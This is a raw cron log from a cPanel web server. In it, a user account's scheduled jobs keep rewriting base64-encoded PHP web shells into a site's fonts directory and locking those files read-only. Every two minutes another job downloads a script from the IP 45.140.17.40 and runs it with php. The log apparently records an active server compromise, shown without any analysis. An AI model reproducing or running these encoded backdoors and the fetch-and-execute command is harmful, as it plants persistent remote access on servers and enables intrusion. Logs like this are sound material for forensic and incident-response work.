Sep  5 17:14:01 ip-184-168-122-23 CROND[23237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:14:01 ip-184-168-122-23 CROND[23239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:14:01 ip-184-168-122-23 CROND[23238]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:14:01 ip-184-168-122-23 CROND[23240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:15:01 ip-184-168-122-23 CROND[23334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:15:01 ip-184-168-122-23 CROND[23335]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 17:15:01 ip-184-168-122-23 CROND[23338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:15:01 ip-184-168-122-23 CROND[23340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:15:01 ip-184-168-122-23 CROND[23336]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 17:15:01 ip-184-168-122-23 CROND[23341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:16:02 ip-184-168-122-23 CROND[23434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:16:02 ip-184-168-122-23 CROND[23432]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:16:02 ip-184-168-122-23 CROND[23433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:16:02 ip-184-168-122-23 CROND[23435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:16:02 ip-184-168-122-23 CROND[23437]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:16:02 ip-184-168-122-23 CROND[23436]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 17:17:01 ip-184-168-122-23 CROND[23540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:17:01 ip-184-168-122-23 CROND[23543]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:17:01 ip-184-168-122-23 CROND[23542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:17:01 ip-184-168-122-23 CROND[23541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:18:01 ip-184-168-122-23 CROND[23718]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:18:01 ip-184-168-122-23 CROND[23719]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:18:01 ip-184-168-122-23 CROND[23721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:18:01 ip-184-168-122-23 CROND[23723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:18:01 ip-184-168-122-23 CROND[23722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:19:01 ip-184-168-122-23 CROND[23821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:19:02 ip-184-168-122-23 CROND[23824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:19:02 ip-184-168-122-23 CROND[23826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:19:02 ip-184-168-122-23 CROND[23829]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:20:01 ip-184-168-122-23 CROND[23944]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 17:20:01 ip-184-168-122-23 CROND[23947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:20:01 ip-184-168-122-23 CROND[23952]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:20:01 ip-184-168-122-23 CROND[23948]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 17:20:01 ip-184-168-122-23 CROND[23949]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 17:20:01 ip-184-168-122-23 CROND[23954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:20:01 ip-184-168-122-23 CROND[23950]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:20:01 ip-184-168-122-23 CROND[23955]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 17:20:01 ip-184-168-122-23 CROND[23953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:21:01 ip-184-168-122-23 CROND[24082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:21:01 ip-184-168-122-23 CROND[24084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:21:01 ip-184-168-122-23 CROND[24083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:21:01 ip-184-168-122-23 CROND[24085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:22:02 ip-184-168-122-23 CROND[24181]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:22:02 ip-184-168-122-23 CROND[24185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:22:02 ip-184-168-122-23 CROND[24183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:22:02 ip-184-168-122-23 CROND[24182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:22:02 ip-184-168-122-23 CROND[24184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:23:01 ip-184-168-122-23 CROND[24270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:23:01 ip-184-168-122-23 CROND[24273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:23:01 ip-184-168-122-23 CROND[24271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:23:01 ip-184-168-122-23 CROND[24272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:24:02 ip-184-168-122-23 CROND[24360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:24:02 ip-184-168-122-23 CROND[24361]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:24:02 ip-184-168-122-23 CROND[24362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:24:02 ip-184-168-122-23 CROND[24365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:24:02 ip-184-168-122-23 CROND[24367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:25:01 ip-184-168-122-23 CROND[24459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:25:01 ip-184-168-122-23 CROND[24461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:25:01 ip-184-168-122-23 CROND[24460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:25:01 ip-184-168-122-23 CROND[24462]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 17:25:01 ip-184-168-122-23 CROND[24463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:25:01 ip-184-168-122-23 CROND[24464]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 17:26:01 ip-184-168-122-23 CROND[24685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
